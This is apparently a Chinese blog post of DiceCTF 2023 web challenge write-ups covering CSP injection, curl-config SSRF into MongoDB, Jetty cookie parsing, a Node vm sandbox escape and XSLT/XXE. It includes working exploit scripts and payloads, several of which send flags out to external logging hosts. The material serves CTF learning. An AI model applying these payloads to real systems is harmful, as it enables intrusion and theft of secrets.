雖然過了快兩個月,但還是來補一下筆記。去年被電得很慘,原本想說過一年了,今年應該會比較好吧,沒想到還是被電爛。
關鍵字:
- SSRF mongoDB via telnet protocol
- jetty cookie parser
- ASI (Automatic Semicolon Insertion)
- VM sandbox escape via Proxy
- process.binding
- 瀏覽器的 XSLT + XXE
開頭先貼一下官方的 repo,裡面有程式碼跟解答:https://github.com/dicegang/dicectf-2023-challenges
Web - codebox (30 solves)
這次唯一有解開的一題,還滿有趣的
後端很簡單,就一個會根據 code 的參數調整 CSP 的功能,可以達成 CSP injection:
const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');
const box = require('fs').readFileSync('box.html', 'utf-8');
fastify.get('/', (req, res) => {
const code = req.query.code;
const images = [];
if (code) {
const parsed = HTMLParser.parse(code);
for (let img of parsed.getElementsByTagName('img')) {
let src = img.getAttribute('src');
if (src) {
images.push(src);
}
}
}
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-inline'",
];
if (images.length) {
csp.push(`img-src ${images.join(' ')}`);
}
res.header('Content-Security-Policy', csp.join('; '));
res.type('text/html');
return res.send(box);
});
fastify.listen({ host: '0.0.0.0', port: 8080 });
而前端則是長這樣,會把你提供的 code 放到 sandbox iframe 裡面去:
<!DOCTYPE html>
<html lang="en">
<head>
<title>codebox</title>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<style>
* {
margin: 0;
font-family: monospace;
line-height: 1.5em;
}
div {
margin: auto;
width: 80%;
padding: 20px;
}
textarea {
width: 100%;
height: 200px;
max-width: 500px;
}
iframe {
border: 1px solid lightgray;
}
</style>
</head>
<body>
<div id="content">
<h1>codebox</h1>
<p>Codebox lets you test your own HTML in a sandbox!</p>
<br>
<form action="/" method="GET">
<textarea name="code" id="code"></textarea>
<br><br>
<button>Create</button>
</form>
<br>
<br>
</div>
<div id="flag"></div>
</body>
<script>
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
const frame = document.createElement('iframe');
frame.srcdoc = code;
frame.sandbox = '';
frame.width = '100%';
document.getElementById('content').appendChild(frame);
document.getElementById('code').value = code;
}
const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
</script>
</html>
這題有趣的點在於一開始你會以為它讓你可以改 CSP,是讓你用 sandbox
這個 CSP 規則去做一些事情,然後你就可以跳出 sandbox 之類的,但嘗試過後你會發現沒辦法。
正解其實是用 require-trusted-types-for 'script';
來讓 document.getElementById('flag').innerHTML = flag;
這段被擋下來,再搭配 report-uri https://vps
來回報被擋下來的內容,就可以拿到 flag。
還有另一個小地方是 frame.sandbox = '';
這段也是歸 require-trusted-types-for
管,所以這段會先出錯,因此這段也要跳過。
跳過的方法很簡單,前端的 searchParams.get()
如果你有多個 param,吃的會是第一個參數,而後端如果有多個會變成 array,所以傳 ?code=&code=payload
就可以讓前後端看到的內容不一樣,前端就會認為是空的,跳過那一段。
Web - unfinished (14 solves)
這題的核心程式碼在這:
app.post("/api/ping", requiresLogin, (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.json({ success: false, message: "Invalid URL" });
}
try {
let parsed = new URL(url);
if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
}
catch (e) {
return res.json({ success: false, message: e.message });
}
const args = [ url ];
let { opt, data } = req.body;
if (opt && data && typeof opt === "string" && typeof data === "string") {
if (!/^-[A-Za-z]$/.test(opt)) {
return res.json({ success: false, message: "Invalid option" });
}
// if -d option or if GET / POST switch
if (opt === "-d" || ["GET", "POST"].includes(data)) {
args.push(opt, data);
}
}
cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
// TODO: save result to database
res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
});
});
你可以傳入一個 URL 跟 option 來讓它執行 cURL,其中對於參數的檢查可以用 config 繞過,先用 -o 下載 config 並存到一個叫做 GET
的檔案,然後再用 -K
來使用 config,像這樣:
import requests
import time
host = 'https://unfinished-27df3c439f8d6dd1.mc.ax'
hook_url = 'https://webhook.site/576f330a-c867-4609-b83f-36bbca32abfe'
config_url = 'https://gist.githubusercontent.com/aszx87410/a0a710f8bcc351958d107924632888c9/raw/54673c647da2ea04e90a1c67c7a40eb7e99320f6/test.txt'
def send_command(url, opt="", data=""):
if opt == "":
req_data = {
"url": url
}
else:
req_data = {
"url": url,
"opt": opt,
"data": data
}
resp = requests.post(host + "/api/ping", data=req_data)
print(resp.status_code)
send_command(hook_url)
time.sleep(5) # need to wait for server restart
send_command(config_url, "-o", "GET")
time.sleep(5)
send_command(hook_url, "-K", "GET")
time.sleep(5)
但這是最簡單的部分,最難的部分是 flag 存在 mongoDB 裡面,所以你要想辦法用 cURL 去 SSRF mongoDB。
喔對了,這題不能用 gopher,因為 gopher 被禁用了。
比賽的時候沒想到怎麼弄,弄不出來,賽後看了其他人的解法,可以用 telnet
來做(source: https://discord.com/channels/805956008665022475/805962699246534677/1071901986338897982):
import requests
import time
url = 'https://unfinished-9044.mc.ax'
with open('raw_packet.txt', 'wb') as fout:
fout.write(b'\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xce\x2d\x77\x58\x58\xfd\x41\xc2\x98\xf9')
print('upload packet contents')
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://[...]/raw_packet.txt',
'opt': '-o',
'data': 'GET',
})
assert res.status_code == 200
time.sleep(5)
print('upload curl config')
with open('curl.config', 'wb') as fout:
fout.write(("""
next
url="telnet://mongodb:27017"
upload-file="GET"
output="flag.txt"
no-buffer
""").strip().encode())
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://[...]/curl.config',
'opt': '-o',
'data': 'POST',
})
assert res.status_code == 200
time.sleep(5)
print('download flag')
try:
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://google.com/',
'opt': '-K',
'data': 'POST',
})
assert res.status_code == 200
except:
pass
time.sleep(10)
print('upload exfil config')
with open('curl.config', 'wb') as fout:
fout.write(("""
next
url="telnet://[...]:1337"
upload-file="flag.txt"
""").strip().encode())
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://[...]/curl.config',
'opt': '-o',
'data': 'POST',
})
assert res.status_code == 200
time.sleep(5)
print('exfil')
try:
res = requests.post('%s/api/ping' % url, data = {
'url': 'http://google.com/',
'opt': '-K',
'data': 'POST',
})
assert res.status_code == 200
except:
pass
然後還有一個非預期解,就是用 cURL 下載檔案蓋掉 node_modules 裡的東西,這樣 server 再次啟動時就會載入你寫的 JS,然後就輕鬆拿到 flag 了。
Web - jnotes (6 solves)
這題是一個 Java web:
package dev.arxenix;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import io.javalin.Javalin;
import io.javalin.http.Context;
import io.javalin.http.Cookie;
public class App {
public static String DEFAULT_NOTE = "Hello world!\r\nThis is a simple note-taking app.";
public static String getNote(Context ctx) {
var note = ctx.cookie("note");
if (note == null) {
setNote(ctx, DEFAULT_NOTE);
return DEFAULT_NOTE;
}
return URLDecoder.decode(note, StandardCharsets.UTF_8);
}
public static void setNote(Context ctx, String note) {
note = URLEncoder.encode(note, StandardCharsets.UTF_8);
ctx.cookie(new Cookie("note", note, "/", -1, false, 0, true));
}
public static void main(String[] args) {
var app = Javalin.create();
app.get("/", ctx -> {
var note = getNote(ctx);
ctx.html("""
<html>
<head></head>
<body>
<h1>jnotes</h1>
<form method="post" action="create">
<textarea rows="20" cols="50" name="note">
%s
</textarea>
<br>
<button type="submit">Save notes</button>
</form>
<hr style="margin-top: 10em">
<footer>
<i>see something unusual on our site? report it <a href="https://adminbot.mc.ax/web-jnotes">here</a></i>
</footer>
</body>
</html>""".formatted(note));
});
app.post("/create", ctx -> {
var note = ctx.formParam("note");
setNote(ctx, note);
ctx.redirect("/");
});
app.start(1337);
}
}
雖然說你有個 free XSS,但是 cookie 是 httponly 的,所以你也讀不到。
解法是利用 jetty 奇怪的 cookie parse 行為,如果 cookie 的內容有 "
,那它會讀到下一個 "
為止。
例如說如果有三個 cookie:
- note=”a
- flag=dice{flag}
- end=b”
送出的 header 是:note="a; flag=dice{flag}; end=b"
,最後會被 parse 成一個 note
的 cookie,而不是預期的三個 cookie。
所以重點就是創造出這些 cookie 然後讓瀏覽器用我們想要的順序送出。
Chrome 送 cookie 的順序是 path 最長的先,再來是最近更新的,因此只要這樣就好:
document.cookie = `note="a; path=//`; // use double slash path to get it to appear at start (longest path)
document.cookie = `end=ok;"`; // last cookie (most recently updated)
w = window.open('https://jnotes.mc.ax//')
就可以讓 flag 反映在頁面上,進而拿到 flag。
Web - gift (4 solves)
這題沒仔細看,賽後也還沒研究,只知道有個部分跟 ASI (Automatic Semicolon Insertion) 有關,你看起來是 A,但實際結果是 B,因為 JS 插入分號的機制所導致。
以前也有過類似的題目,滿有趣的,但如果只用肉眼看確實滿難看出來,看來我要再練練了。
Web - jwtjail (3 solves)
這題真是飲恨啊,該找的都找了,lib 的原始碼我也看過好幾遍了,最後還是沒有做出來,差一點。
程式碼長這樣:
const jwt = require("jsonwebtoken");
const express = require("express");
const vm = require("vm");
const app = express();
const PORT = process.env.PORT || 12345;
app.use(express.urlencoded({ extended: false }));
const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`).runInContext(vm.createContext(Object.create(null), ctx), { timeout: 250 });
process.mainModule = null; // 🙃
app.use(express.static("public"));
app.post("/api/verify", (req, res) => {
let { token, secretOrPrivateKey } = req.body;
try {
token = unserialize(token);
secretOrPrivateKey = unserialize(secretOrPrivateKey);
res.json({
success: true,
data: jwt.verify(token, secretOrPrivateKey)
});
}
catch {
res.json({
success: false,
data: "Verification failed"
});
}
});
app.listen(PORT, () => console.log(`web/jwtjail listening on port ${PORT}`));
靠著 vm 把你丟進去的 data 放在另一個 context,然後呼叫 jwt lib,因此目的就是在 jwt lib 處理的過程中找到可以 escape 的地方。
而解法是我們可以幫一個 function 加上 proxy,如果呼叫到 function,就會先呼叫到 proxy 的 apply
var p = new Proxy(_ => _, {
apply(target, thisArg, argumentsList) {
console.log('apply')
}
})
p() // apply
而這個 apply 的第三個參數 argumentsList
是來自外界的 object,就可以靠著這個參數來逃出 VM。
除此之外,雖然 process.mainModule
被刪掉了,但可以用 process.binding("spawn_sync")
來達成執行程式碼。
一個簡單的 PoC 像這樣:
"use strict";
const vm = require("vm");
const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`)
.runInContext(
vm.createContext(Object.create({console}), ctx),
{ timeout: 250 }
);
var data = `{
key: {
toString: new Proxy(_ => _, {
apply(a, b, c) {
console.log(c.constructor.constructor("return this")().process.pid)
}
})
}
}`
try {
data = unserialize(data);
console.log(data['key'].toString())
} catch(err) {
console.log(err)
}
而賽後的 Discord 討論裡面,也有人提到可以利用雙重 proxy 達成「只要存取 object 的值就可以 escape」,像這樣:
"use strict";
const vm = require("vm");
const ctx = { codeGeneration: { strings: false, wasm: false }};
const unserialize = (data) => new vm.Script(`"use strict"; (${data})`)
.runInContext(
vm.createContext(Object.create({console}), ctx),
{ timeout: 250 }
);
var data = `new Proxy({}, {
get: new Proxy(_=>_, {
apply(a,b,c) {
console.log(c.constructor.constructor("return this")().process.pid)
}
})
})`
try {
data = unserialize(data);
data['key'];
} catch(err) {
console.log(err)
}
作者 writeup:https://brycec.me/posts/dicectf_2023_challenges
Web - impossible XSS (0 solves)
這題很酷,程式碼很簡單:
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
app.use(cookieParser());
app.get('/', (req, res) => {
// free xss, how hard could it be?
res.end(req.query?.xss ?? 'welcome to impossible-xss');
});
app.get('/flag', (req, res) => {
// flag in admin bot's FLAG cookie
res.end(req.cookies?.FLAG ?? 'dice{fakeflag}');
});
app.listen(8080);
你有一個 free xss,但是在 admin bot 裡面有一行 await page.setJavaScriptEnabled(false);
,直接把 JS 關掉。
解法是用 XSLT 加上 XXE,像這樣:
ss = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "https://impossible-xss.mc.ax/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/asdf">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">
https://hc.lc/log2.php?&xxe;
</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`
xml=`<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${btoa(ss)}"?>
<asdf></asdf>`
payload=encodeURIComponent(xml)
作者的 writeup:https://blog.ankursundara.com/dicectf23-writeups/
評論